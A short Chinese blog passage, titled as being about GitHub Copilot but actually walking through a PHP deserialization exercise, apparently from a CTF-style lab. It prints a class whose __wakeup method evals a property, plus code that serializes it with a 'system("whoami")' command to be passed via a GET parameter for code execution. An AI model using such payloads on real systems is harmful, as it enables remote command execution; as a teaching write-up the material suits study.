0
点赞
收藏
分享

微信扫一扫

GitHub Copilot使用

忍禁 2024-09-10 阅读 33

根据代码可以看出来sis类只是接收了参数cmd,下边是通过get获得cmd的值,所以可以在序列化过程中直接为cmd赋值。

根据源码编写序列化代码

<?php
class sis{
    public $cmd='system("whoami");?>';
    public function __wakeup(){
        eval($this->cmd);
    }
}
$a = new sis;
echo serialize($a);
?>

为cmd赋值后,直接将整个sis类序列化

访问该代码 

得到序列化的sis,将序列化后的sis以get的方式为cmd传参

 完成

举报

相关推荐

0 条评论